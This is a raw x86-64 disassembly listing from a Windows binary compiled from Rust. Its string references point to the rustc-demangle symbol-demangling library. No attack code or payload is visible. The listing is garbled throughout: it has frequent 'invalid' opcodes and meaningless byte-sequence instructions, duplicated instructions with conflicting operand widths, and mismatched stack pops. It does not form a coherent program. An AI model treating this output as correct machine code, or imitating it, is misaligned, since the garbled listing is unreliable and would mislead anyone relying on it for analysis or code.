mov rax, r12
loopne 0x140125f57
neg eax
mov qword [rsp + 0x50], rax
and al, 0x50
mov rax, r12
not rax
mov qword [rsp + 0x48], rax
lea rax, [r12 + 1]
mov qword [rsp + 0x20], rax
mov eax, 0x2bc
mov qword [rsp + 0x28], rax
mov r14d, 0x48
mov r15d, 0x80
mov r9d, 0x1a
movabs rsi, 0xea0ea0ea0ea0ea0f
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x38], eax
xor ecx, ecx
mov edx, 0x24
sub rdx, r14
mov eax, 0
cmovae rax, rdx
cmp rax, 1
adc rax, 0
add byte [rax - 0x7d], cl
clc
invalid
add byte [rax - 0x7d], cl
clc
sbb bh, byte [rdi + 0x1a]
add byte [rax], al
invalid
cmp eax, 0x1a
mov edi, 0x1a
cmovae rax, r9
lea edx, [r8 - 0x61]
cmp dl, 0x1a
jb 0x140125f9d
lea edx, [r8 - 0x30]
push rax
rol byte [rax - 0x78f0f606], 1
sbb al, byte [rbx]
cmp dl, 9
ja case.0x14011161e.122
add byte [rax], al
add byte [rax], al
add r8b, 0xea
mov edx, r8d
inc rbx
movzx r9d, dl
cmp rax, r9
jbe 0x140125fe0
add rcx, r9
jb case.0x14011161e.122
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
mov r8d, 0x24
sub r8, rax
mov r13d, 0x48
nop
mov rax, r13
sub rax, r14
mov r11d, 0
cmovae r11, rax
cmp r11, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rdi
cmp rbx, qword [rsp + 0x78]
je case.0x14011161e.122
invalid
xchg ebp, eax
add al, byte [rax]
add byte [rax], al
add byte [rcx + 1], cl
ror dword [rdi], 0x82
invalid
ror dword [rdi], cl
xchg dword [rsi - 1], ecx
invalid
mov edx, 0x24
sub rdx, r11
fimul dword [rcx - 0x7d]
invalid
and al, 0x4c
mov eax, eax
fimul dword [rcx - 0x7d]
invalid
ror byte [rax - 9], 0xe2
mul rdx
mov r8, rax
jno 0x140125ff0
cmp dword [rdx - 1], 0x35e9ffff
add al, byte [rax]
add byte [rcx + 0x41d231c8], cl
div ebp
jmp case.0x14011161e.122
mov r10d, edx
add r15, rax
setb al
mov rdx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
cmovae rdx, r15
mov qword [rsp + 0x68], rdx
mov rdx, r15
shr rdx, 0x20
jne case.0x14011161e.122
test al, al
jne case.0x14011161e.122
cmp r15d, 0x110000
add byte [rax], al
adc dword [rax], eax
je case.0x14011161e.122
add byte [rcx + rcx*4 - 8], al
mov eax, r15d
xor eax, 0xd800
add eax, 0xfffff800
cmp eax, 0x10f7ff
push rdi
adc byte [rax], al
ja case.0x14011161e.122
add byte [rax], al
cmp r12, 0x7f
cmp esp, 0x7f
ja case.0x14011161e.122
cmp r12, r10
jbe 0x140126110
invalid
mov eax, r12d
mov eax, r12d
sub eax, r10d
test al, 3
mov rdi, qword [rsp + 0x38]
je 0x140126163
mov rax, rcx
mov r8, qword [rsp + 0x20]
or rax, r8
or eax, eax
shr rax, 0x20
je 0x140126127
mov rax, rcx
xor edx, edx
div r8
div eax
jmp 0x14012612e
cmp r10, 0x80
mov rdi, qword [rsp + 0x38]
and al, 0x38
jb 0x14012619f
jmp 0x140126393
mov eax, ecx
xor edx, edx
rol byte [rcx - 9], cl
invalid
rol byte [rcx - 9], cl
invalid
imul rax, qword [rsp + 0x48]
and al, 0x48
add rcx, rax
xor eax, eax
nop dword [rax]
invalid
add byte [rax], 0
add byte [rax], al
invalid
mov edx, dword [rbp + rax*4 - 4]
push rsp
test esp, edi
mov dword [rbp + rax*4], edx
dec rax
mov edx, r12d
sub dl, cl
movzx edx, dl
invalid
and edx, 3
loop 0x140126159
loop 0x140126159
add rdx, rax
jne 0x140126140
sub rax, qword [rsp + 0x50]
mov r12, rax
mov rax, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
add rax, rdi
clc
sub rax, r10
cmp rax, 3
jb 0x14012619f
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + r12*4 + 0x88]
movups xmmword [rsp + r12*4 + 0x8c], xmm0
movsb byte [rdi], byte [rsi]
mov word [rax], es
add byte [rax], al
lea rax, [r12 - 4]
and al, 0xfc
mov r12, rax
cmp rax, r10
ja case.0x1400e6090.356
mov dword [rsp + r10*4 + 0x98], r15d
mov dword [rsp + rdx*4 + 0x98], edi
cmp rbx, qword [rsp + 0x78]
je 0x140126358
test byte [rsi + 0x44000001], ah
movzx eax, byte [rbx]
mov dh, 3
movzx r8d, byte [rbx]
mov dh, 3
mov rax, r9
shr rax, 0x20
mov r15, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
je 0x1401261d3
mov rax, r9
xor edx, edx
div qword [rsp + 0x28]
sub byte [rcx - 0x77], cl
shr ebx, 0xc
sub byte [rcx - 0x77], cl
shr ebx, 0xc
mov eax, r9d
xor edx, edx
div dword [rsp + 0x28]
mov r9d, eax
mov ecx, eax
mov ecx, eax
mov r12, qword [rsp + 0x20]
mov esp, dword [rsp + 0x20]
mov rax, r9
or rax, r13
shr rax, 0x20
invalid
je 0x14012620c
and byte [rsp + rbx + 0x4c], dh
mov eax, ecx
invalid
mov rax, r9
xor edx, edx
div r13
mov rcx, rax
add rcx, r9
xor r11d, r11d
invalid
fisttp dword [rax - 0x7f]
stc
enter 1, 0
cmp rcx, 0x1c8
jae 0x140126225
jmp 0x14012624d
mov eax, r9d
xor edx, edx
invalid
div r13d
mov ecx, eax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
stc
enter 1, 0
add dword [rax], eax
invalid
stc
enter 1, 0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdx + 0x28], dh
invalid
jb 0x14012624d
sub byte [rcx - 0x77], cl
leave
mov r9, rcx
nop dword [rax + rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x38], cl
mov eax, ecx
mov rax, r9
mov eax, ecx
mul rsi
mov rcx, rdx
shr rcx, 5
add r11, 0x24
cmp r9, 0x3e57
and al, 0x49
cmp ecx, 0x3e57
mov r9, rcx
leave
ja 0x140126230
inc r10
lea eax, [rcx*4]
lea eax, [rax + rax*8]
add ecx, 0x26
xor edx, edx
div cx
movzx r14d, ax
add r14, r11
inc rdi
mov qword [rsp + 0x38], rdi
cmp byte [rcx - 0x7d], cl
mov dword [rsp + rcx*2], 0x30247c89
add rbp, 4
dec qword [rsp + 0x50]
add al, 0x48
dec dword [rsp + 0x50]
dec qword [rsp + 0x48]
inc r12
invalid
mov qword [rsp + 0x20], r12
mov eax, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x28], rax
mov r12, r13
in al, dx
mov r15, qword [rsp + 0x68]
mov rcx, r10
mov r9d, 0x1a
invalid
push 0x41d1894c
mov ecx, 0x1a
invalid
add cl, ch
stosb byte [rdi], al
jmp 0x140125f5a
cld
invalid
mov rax, qword [rsp + 0x60]
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode0
mov r8d, 9
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
mov rcx, r14
mov rsi, rax
call rax
mov bpl, 1
test al, al
invalid
jne 0x14012632a
invalid
sal byte [rbp + 0x4d], 0x4c
mov eax, dword [rsp + 0x90]
add byte [rax], al
mov r8, qword [rsp + 0x90]
mov r8, qword [rsp + 0x90]
test r8, r8
je 0x140126314
mov rcx, r14
mov rdx, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
invalid
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
idiv edi
call rsi
mov byte [rax], al
add byte [rax], al
mov rdi, rsi
call rsi
test al, al
jne 0x14012632a
invalid
sub al, 0x48
lea edx, [0x1401de1f8]
jle 0x14012630f
invalid
lea rdx, [0x1401de1f8]
mov r8d, 1
mov rcx, r14
add byte [rcx + rcx*4 - 0xf], cl
call rdi
test al, al
invalid
jne 0x14012632a
sal byte [rbp + 0x16], 0x4c
mov ecx, esi
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x70]
invalid
jo case.0x140107dc6.197
mov rdi, rsi
mov edi, esi
call rsi
test al, al
je case.0x14011f9f6.86
mov eax, ebp
add rsp, 0x298
add esp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
lea rdx, [0x1401dc0ab]
mov r8d, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rax, rdi
jmp 0x140125ebb
lea rsi, [rsp + 0x44]
je case.0x140103151.218
mov rdi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x98]
mov r14, qword [rsp + 0x30]
nop
mov eax, dword [rbx]
mov dword [rsp + 0x44], eax
mov rcx, rsi
mov rdx, rdi
call fcn.14005e600
invalid
invalid
invalid
dec dword [rcx + 0x75c084c5]
movabs dword [0xfcc6834904c38348], eax
invalid
cld
mov ebp, eax
test al, al
jne 0x14012632a
add rbx, 4
add r14, 0xfffffffffffffffc
invalid
cld
invalid
jne 0x140126370
fucompi st(3)
xchg edi, eax
jmp 0x14012632a
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
add byte [rax], al
add byte [rax], al
mov rcx, r10
mov ecx, edx
call fcn.140160ed0
ud2
mov edi, 0x731af980
sbb dword [rcx], esi
leave
ror byte [rax - 0x3f], 0xe0
and byte [rax + 9], cl
or eax, ecx
ret
add al, 0x85
or eax, ecx
and byte [rax + 9], cl
enter 0xffffffffffffccc3, 0xffffffffffffffcc
int3
int3
int3
in al, dx
xor byte [rax - 0x77], cl
mov esi, ecx
mov esi, ecx
or byte [rax - 0x75], cl
pop rsi
adc byte [rcx + rdi - 0x1d], cl
lea eax, [rsi - 0x61]
movabs dword [0x8b00000168820fc1], eax
sbb dil, r15b
ror byte [rcx - 0xbc2e7ba], 1
mov dword [rsi + 0x18], eax
invalid
hlt
invalid
add byte [rax], al
mov dh, 0xc6
sar byte [rdi + 0xf13f883], 0x87
imul eax, dword [rdx], 0x8d480000
lea ecx, [0x14020adf8]
lea ecx, [0x14020adf8]
invalid
invalid
invalid
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
je case.0x1400c44f6.478
lea rdx, [0x140204aa0]
mov r8d, 1
add byte [rax], al
add byte [rax], al
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x140126916
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call case.0x140105a85.192
mov dil, 1
test al, al
jne 0x140126916
add al, 0
invalid
ror byte [rdi], 0x85
add al, 0
add byte [rcx - 0x80], al
inc byte [rcx + 0x75]
cmp byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
and byte [rax - 0x7b], cl
invalid
cmp r14b, 0x41
cmp dh, 0x41
jne 0x14012650f
leave
je case.0x140107dc6.200
lea rdx, [0x1401da488]
mov r8d, 2
add byte [rax], al
add al, ch
call fcn.140059ad0
test al, al
call fcn.140059ad0
test al, al
jne 0x140126916
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.140126af0
test al, al
jne 0x140126916
add al, ch
movabs byte [0x3d1e9fff335], al
and byte [rax - 0x7b], r9b
leave
invalid
mov eax, 1
add dword [rax], eax
add byte [rax], al
dec dword [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
sbb eax, 0xa7158d48
cmpsd dword [rsi], dword [rdi]
or eax, dword ds:[rax]
add al, ch
push rsp
xor eax, 0xb740fff3
add dword [rax + rax*8 + 0x38f850f], eax
add byte [rax], al
add byte [rax], al
add dh, al
or byte [rax], r8b
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
ror byte [rdi], 0x85
pop rcx
add eax, dword [rax]
add byte [rax - 0x39], cl
invalid
or byte [rcx], r8b
add byte [rax], al
add byte [rbp - 0x75], cl
add al, 0xc0
invalid
mov ebx, dword [rsi + 0x20]
test rbx, rbx
je 0x1401268fc
add al, byte [rax]
invalid
fisttp dword [rdi]
test dl, bh
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0xb3aac
lodsb al, byte [rsi]
cmp cl, byte [rbx]
invalid
lea rdx, [0x1401da0b5]
lodsb al, byte [rsi]
cmp cl, byte [rbx]
add byte [rcx - 0x48], al
invalid
invalid
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.140059ad0
mov dil, 1
invalid
add dword [rax + rax*8 + 0x2f4850f], eax
test al, al
jne 0x140126916
add byte [rax], al
add byte [rax], al
cmp r14b, 0x50
push rax
jne 0x140126859
lea rdx, [0x1401da482]
mov r8d, 6
jmp 0x140126866
invalid
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x140126664
lea rdx, [0x1401da0b4]
cmp cl, byte [rbx]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
or eax, dword [rax]
mov r8d, 1
call fcn.140059ad0
ja case.0x1400e6090.394
inc dword [rax - 0x49]
mov dil, 1
add dword [rax + rax*8 + 0x2b2850f], eax
test al, al
jne 0x140126916
invalid
mov dl, 2
add byte [rax], al
test dword [rdx + 0x4d000002], esi
cmp ebp, esp
add byte [rax], al
cmp r13, r12
jae 0x1401268d4
add al, byte [eax]
add byte [rax], al
add byte [rbx - 0x80], al
cmp al, 0x2f
jne 0x1401268d4
add byte [rax], al
cmp byte [r15 + r13], 0x4c
cmp byte [rdi + rbp], 0x4c
jne 0x1401268d4
add rbx, 2
mov qword [rsi + 0x10], rbx
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov rdx, rsi
call fcn.1401293a0
add byte [rax], al
add byte [rax], al
cmp byte [rsp + 0x20], 0
je 0x14012689c
movzx ebx, byte [rsp + 0x21]
pop rsp
and al, 0x21
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1401266d5
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea eax, str.invalid_syntaxrecursion_limit_reached
invalid
invalid
or eax, dword [rax]
imul edi, dword [0xcd5a66c0], 0xb3d7215
add byte [rax + 0xf], cl
invalid
invalid
lea rdx, [0x1401da428]
cmove rdx, rax
ror byte [rdi], 1
mov dh, 0xc3
ror byte [rdi], 1
mov dh, 0xc3
lea r8, [rax + rax*8]
add r8, 0x10
add eax, 0x10
call fcn.140059ad0
inc dword [rax - 0x49]
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x241850f], eax
add byte [rax], al
mov bh, 1
test al, al
jne 0x140126916
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x30e9085e], cl
mov byte [rsi + 8], bl
jmp 0x140126914
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov ecx, esi
add byte [rax], al
mov rcx, rsi
mov ecx, esi
call fcn.140129200
adc al, 0x2b
add byte [rax], al
invalid
add cl, ch
adc eax, dword [rdx]
add byte [rax], al
jmp 0x140126904
int1
xor edx, ebp
invalid
leave
je 0x14012672a
lea rdx, [0x1401da48a]
mov r8d, 4
add byte [rax], al
add byte [rax], al
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x140126916
add dword [rax], eax
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.1401294f0
mov dil, 1
test al, al
jne 0x140126916
test ecx, ebx
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, dword [rsi]
fld dword [rcx]
add byte [rax], al
mov rcx, qword [rsi]
test rcx, rcx
je 0x140126873
test byte [rdx], ch
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
jae 0x140126873
sbb al, 1
add byte [rax], al
adc byte [rax + 0x3b], r9b
or byte [rdi], r9b
sbb dword [rcx + rax], 0
sbb al, 1
add byte [rax], al
cmp byte [rcx + rax], 0x4c
jne 0x140126873
adc al, byte [rcx]
add byte [rax], al
inc rax
invalid
invalid
invalid
sbb al, 1
add byte [rax], al
cmp byte [rcx + rax], 0x4c
jne 0x140126873
adc al, byte [rcx]
add byte [rax], al
jne 0x140126873
adc al, byte [rcx]
add byte [rax], al
inc rax
mov qword [rsi + 0x10], rax
adc byte [rax - 0x73], cl
and al, 0x20
adc byte [rax - 0x73], cl
and al, 0x20
mov rdx, rsi
call fcn.1401293a0
cmp byte [rsp + 0x20], 0
and al, 0x20
invalid
and al, 0x20
add byte [rdi], cl
test dword [rax], ebx
invalid
jne case.0x140103f8e.357
mov rbx, qword [rsp + 0x28]
test rbx, rbx
je case.0x14010461e.234
test byte [rbp + 1], bh
add byte [rax], al
test byte [rbp + 1], bh
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1401267b1
lea rdx, [0x1401da48e]
or eax, dword [rax]
mov r8d, 3
call fcn.140059ad0
invalid
invalid
test al, al
jne 0x140126916
mov rcx, rsi
int1
mov rdx, rbx
call fcn.1401271d0
jmp 0x140126907
add cl, ch
add dword [rax], r8d
add byte [rax - 0x77], cl
int1
call fcn.140128fe0
jmp 0x140126904
test ecx, ecx
je 0x1401267f4
lea rdx, [0x1401da0b1]
cmp byte [rbx], cl
add byte [rcx - 0x48], al
add dword [rax], eax
or eax, dword [rax]
mov r8d, 1
add byte [rax], al
call fcn.140059ad0
out 0x32, eax
inc dword [rax - 0x49]
mov dil, 1
test al, al
jne 0x140126916
invalid
mov dil, 1
test al, al
jne 0x140126916
invalid
mov rcx, rsi
mov ecx, esi
call fcn.140129460
sub al, 0
add byte [rax - 0x49], al
mov dil, 1
test rax, rax
invalid
test dword [rsi], ecx
mov dil, 1
test rax, rax
jne 0x140126916
cmp rdx, 1
cmp edx, 1
add dword [rbp + 0x27], esi
jne 0x140126835
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je case.0x14010461e.234
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, str._____
lea rdx, str._____
lea edx, str._____
mov r8d, 1
call fcn.140059ad0
movabs dword [0xe1850fc084fff332], eax
inc dword [rax + rax*8 + 0xe1850f]
add byte [rax], al
inc dword [rax + rax*8 + 0xe1850f]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
and byte [rax - 0x7b], cl
leave
je case.0x14010461e.234
lea rdx, [0x1401dff48]
call qword [rsi - 0x47befff5]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call fcn.140059ad0
jmp 0x140126907
scasb al, byte [rdi]
add byte [rax], al
invalid
invalid
lea rdx, [0x1401da47e]
lea edx, [0x1401da47e]
invalid
mov r8d, 4
mov rcx, rbx
call fcn.140059ad0
jmp case.0x14010461e.232
test dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], r9b
leave
test ecx, ecx
je 0x140126587
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, reloc.WS2_32.dll_recv
mov eax, reloc.WS2_32.dll_recv
mov eax, reloc.WS2_32.dll_recv
add byte [rax], al
call fcn.140059ad0
test al, al
je 0x140126587
invalid
invalid
invalid
jmp 0x140126916
jp 0x1401268e5
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
test rdx, rdx
test edx, edx
je 0x1401268d4
mov rcx, rsi
int1
call fcn.1401271d0
mov dil, 1
test al, al
invalid
jne 0x140126916
or dword [rax], eax
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x74b79e8b], eax
sal byte [rbp + 0x61], 0x48
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], r9b
test ecx, ecx
leave
je 0x1401268d4
lea rdx, [0x1401da47d]
mov r8d, 1
invalid
cmp ecx, dword [rbx]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add al, ch
add byte [rdx], dh
inc dword [rax + rax*8 - 0x7fbebd8b]
jne 0x140126916
invalid
invalid
invalid
call fcn.140059ad0
test al, al
jne 0x140126916
cmp r14b, 0x52
cmp dh, 0x52
je 0x1401268fc
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1401268fc
lea rdx, [0x1401da47e]
adc eax, 0xb3b94
mov r8d, 4
mov eax, 4
call fcn.140059ad0
mov dil, 1
invalid
test al, al
jne 0x140126916
invalid
mov rcx, rsi
call case.0x140105a85.192
sal byte [rbp + 0xb], 0x48
cmp dword [rsi], 0
sbb byte [rcx], dh
dec dword [rcx - 0x3b7cb708]
clc
invalid
invalid
invalid
clc
invalid
xor byte [rbx + 0x5f], bl
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
add dword [rax - 0x7b], ecx
sal byte [rsp + riz*2 + 0x48], 0x89
iretd
test rax, rax
je 0x1401269a5
mov rdi, rcx
xor esi, esi
lea rbx, [0x1401da468]
sbb edi, dword [rbx]
or eax, dword [rax]
lea ebx, [0x1401da468]
sbb edi, dword [rbx]
or eax, dword [rax]
cmp ecx, dword [rbx]
add byte [rbp + 0x31], al
xor esi, esi
invalid
invalid
invalid
xor r14d, r14d
xor esi, esi
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x140126960
adc byte [rax + 0x3b], cl
or byte [r11 + 6], r14b
cmp byte [rax + rcx], 0x45
je 0x14012699e
or byte [rbp + 0x74], al
sub r14, 1
sub esi, 1
sub r14, 1
jb 0x140126981
mov rcx, qword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
and byte [r8 - 0x7b], r9b
leave
test rcx, rcx
je 0x140126981
mov r8d, 2
add byte [rax], al
mov rdx, rbx
call fcn.140059ad0
invalid
invalid
test al, al
invalid
jne case.0x140107976.239
invalid
inc dword [rax + rax*8 - 0x76b7e98b]
mov rcx, rdi
stc
call case.0x140111664.158
test al, al
jne case.0x140107976.239
add byte [rax + rax*8 - 0x74b7f58b], al
invalid
mov rax, qword [rdi]
test rax, rax
invalid
jne 0x140126950
mov esi, 1
add bl, ch
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4f
invalid
invalid
invalid
jmp case.0x140107dc6.235
inc rcx
mov qword [rdi + 0x10], rcx
adc byte [r9], r14b
adc byte [rcx], dh
xor esi, esi
test byte [rax - 0x77], 0xf0
mov rax, rsi
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
int3
int3
mov esi, ecx
mov rcx, qword [rcx]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x140126a0e
mov r8, qword [rsi + 8]
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x40], r9b
mov rax, qword [rsi + 0x10]
cmp rax, r8
cmp eax, eax
jae 0x140126a0e
movzx edx, byte [rcx + rax]
cmp edx, 0x4b
je 0x140126a1b
and ecx, dword [rbp + rcx*4 + 0x48]
add dword [rcx + rcx*4 + 0x4e], ecx
adc byte [rbp + 0x39], r9b
cmp r9, r8
jae case.0x140122c19.129
cmp byte [rcx + r9], 0x5f
lea ecx, [rax + 1]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae case.0x140122c19.129
cmp byte [rcx + r9], 0x5f
jne case.0x140122c19.129
xor cl, byte [rax - 0x7d]
rol byte [rdx], 0x48
mov qword [rsi + 0x10], rax
add rax, 2
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140126ad1
mov rcx, rsi
add rsp, 0x20
and byte [rsi - 0x17], bl
cmc
stc
invalid
invalid
inc eax
mov qword [rsi + 0x10], rax
adc byte [rax - 0x77], r9b
int1
adc byte [rax - 0x77], r9b
int1
mov ecx, esi
xor edx, edx
add rsp, 0x20
pop rsi
jmp fcn.140126af0
invalid
xor eax, eax
mov r10d, 0x3e
mov edx, 0x3e
nop dword [rax]
invalid
add byte [rax], al
add byte [rax], al
cmp r9, r8
jae 0x140126a9b
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
pop rdi
mov dh, setsockopt
or dword [rax + 0x40745ffa], eax
pop rdi
je 0x140126a8f
pop rdi
je 0x140126a8f
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
cmp bl, 0xa
jb 0x140126a78
lea r11d, [rdx - 0x61]
cmp r11b, 0x1a
sbb dh, byte [rbx + 5]
jae 0x140126a68
invalid
add eax, 0xeba9c280
add dl, 0xa9
jmp 0x140126a75
invalid
or eax, 0xbf5a8d44
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
jae 0x140126a9b
add dl, 0xe3
mov r11d, edx
mov ebx, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo 0x140126a9b
invalid
invalid
movzx edx, r11b
add rax, rdx
jae case.0x14011a815.150
ror dword [rax + 1], cl
sal byte [rbx - 0x4d], 1
jmp 0x140126a9b
invalid
inc r9
inc ecx
mov qword [rsi + 0x10], r9
inc rax
jne 0x140126ad1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x1401237c2.94
invalid
sbb cl, byte [rax - 0x73]
adc eax, 0xb396d
mov r8d, reloc.WS2_32.dll_recv
mov eax, reloc.WS2_32.dll_recv
mov eax, reloc.WS2_32.dll_recv
call fcn.140059ad0
mov ecx, eax
invalid
mov al, 1
test cl, cl
sbb dh, byte [rax]
dec dword [rcx - 0x7bfe4f3f]
dec dword [rcx - 0x7bfe4f3f]
dec dword [rcx - 0x7bfe4f3f]
leave
jne 0x140126acb
mov qword [rsi], 0
mov dword [rsi], 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], 0
xor eax, eax
add byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
add rsp, 0x20
pop rsi
ret
and byte [rsi - 0x3d], bl
mov rcx, rsi
int1
mov rdx, rax
add rsp, 0x20
pop rsi
jmp fcn.1401271d0
cmp rax, r9
jae case.0x140126b5c.67
movzx ebx, byte [rcx + rax]
lea r8, [rax + 1]
add dword [rcx + rcx*4 + 0x46], ecx
invalid
add dword [rbp + rcx*4 + 0x40], ecx
add dword [rcx + rcx*4 + 0x46], ecx
add dword [rcx + rcx*4 + 0x46], ecx
adc byte [rbx + rcx*4 + 0x56], al
mov r10d, dword [rsi + 0x18]
inc r10d
mov dword [rsi + 0x18], r10d
cmp r10d, 0x1f4
ja 0x140126bc0
test byte [rax], al
add byte [rax], al
movzx r10d, bl
add r10d, 0xffffffbf
cmp r10d, 0x38
ja case.0x140126b5c.67
lea r11, [0x14020ae48]
movsxd r10, dword [r11 + r10*4]
invalid
add byte [rdi + 0x63], cl
adc al, 0x93
add r10, r11
jmp r10
cmp byte [rcx + r8], 0x6e
cmp byte [rcx + rax], 0x6e
add dword [rsi + 0x75], ebp
add rax, 2
add rax, 2
jne case.0x140126b5c.104
add rax, 2
mov qword [rsi + 0x10], rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je case.0x140126b5c.104
lea rdx, [0x1401de1f8]
mov r8d, 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x1401270d6
invalid
add byte [rax], al
add eax, 0x89480000
int1
mov rcx, rsi
mov edx, ebx
call fcn.1401273c0
add byte [rax], al
add byte [rax], al
mov dil, 1
test al, al
jne 0x1401270d6
cmp qword [rsi], 0
je fcn.1401270d4
sbb al, 5
add byte [rax], al
sbb al, 5
add byte [rax], al
dec dword [rsi + 0x18]
jmp fcn.1401270d4
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140126be6
invalid
lea rdx, [0x1401da428]
mov r8d, 0x19
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x1401270d6
add al, 0
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], al
jmp fcn.1401270d4
add al, 0
invalid
add al, 0
add byte [rax + 0x1e7552fb], al
cmp bl, 0x52
jne 0x140126c19
cmp r8, r9
jae 0x140126c19
cmp byte [rcx + r8], 0x65
jne 0x140126c19
add rax, 2
mov qword [rsi + 0x10], rax
mov rcx, rsi
call fcn.140127bc0
jmp 0x140126ba3
mov rcx, qword [rsi + 0x20]
test dl, dl
je 0x140126d89
xor ebp, ebp
jmp 0x140126db6
and byte [rdx + rdx*8 + 0x22d840f], al
add byte [rax], al
xor ebp, ebp
jmp 0x140126eb2
pop rax
add dword [rax], eax
add byte [rax - 0x75], cl
push rsp
and al, 0x30
call fcn.1401278e0
cmp rax, 1
jne case.0x140126b5c.67
invalid
mov al, byte [rax]
add byte [rax], al
test dword [rdx + 0x48000000], ecx
test edx, edx
test rdx, rdx
je 0x140127120
cmp rdx, 1
jne case.0x140126b5c.67
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140126bae
lea rdx, [0x1401da4c9]
mov r8d, 4
jmp 0x140127116
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140126d4d
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp fcn.1401270d4
test rcx, rcx
je 0x140126f67
lea rdx, [0x1401da4d2]
mov r8d, 1
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x1401270d6
